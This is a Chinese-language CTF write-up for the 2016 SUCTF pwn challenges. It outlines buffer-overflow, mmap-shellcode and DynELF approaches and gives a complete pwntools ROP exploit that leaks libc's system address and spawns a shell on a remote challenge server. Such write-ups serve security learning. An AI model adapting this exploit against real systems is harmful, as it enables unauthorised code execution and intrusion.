2016-SUCTF-PWN-Writeup

<–more–>
题目我已经打包好了放在百度云

这是你的hello pwn

这题是一个基础题,,只要绕过check,输入key - - ‘zhimakaimen’,就可以继续输入payload,然后覆盖到到关键函数

就能得到flag了

再来一发

这个题目比上个题目差在了一个地方,上个题目的getflag,是能直接getflag的,然而这个题目getflag是调用了system,这意味着我们可以在调用了system之后,可以在bss段写入/bin/sh起shell

pwn300

我本来在这个题目卡住了来着,在joker师傅的教导下学习了一下mmap的函数的利用。

分析的时候发现这个程序是静态编译的,所以我们可以利用一下mmap函数。
mmap函数可以分出一段内存,这断内存的数据是可执行的,那么我们可以将shellcode写入这段内存,然后去getshell

simple

这个题目的思路是通过DynELF去leak system函数地址,然后我们通过写入/bin/sh起shell

这个题目只比pwn200多了一个leak sysytem函数的步骤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*-coding:utf-8-*-
from pwn import *
#r = remote("106.75.84.74", 10001)#pwn
r = remote("23.106.148.10",20000)#pwn
#r = process("./pwnme")
#context.log_level = "debug"
write_plt = 0x00000000004004B0
read_plt = 0x00000000004004D0
main = 0x0000000004005F6
bss = 0x000000000600a70 + 0x100
pop_rdi_ret = 0x00000000004006c3
pop_rsi_pop_r15_ret = 0x00000000004006c1
#rdx === 0x100
def leak(addr):
r.recvuntil("luck!\n")
payload = "a"*0x28
payload += p64(pop_rdi_ret)
payload += p64(0x1)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(addr)
payload += p64(0x6161616161616161)
payload += p64(write_plt)
payload += p64(main)
r.sendline(payload)
data = r.recv(8)
return data
d = DynELF(leak, main, elf=ELF('./simple'))
system_addr = d.lookup('system', 'libc')
print "[*] system addr:{0}".format(hex(system_addr))
r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(0x0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss)
payload += p64(0x6161616161616161)
payload += p64(read_plt)
payload += p64(main)
r.sendline(payload)
r.sendline("/bin/sh")
r.recvuntil("luck!\n")
payload = "a" * 0x28
payload += p64(pop_rdi_ret)
payload += p64(bss)
payload += p64(system_addr)
r.sendline(payload)
r.interactive()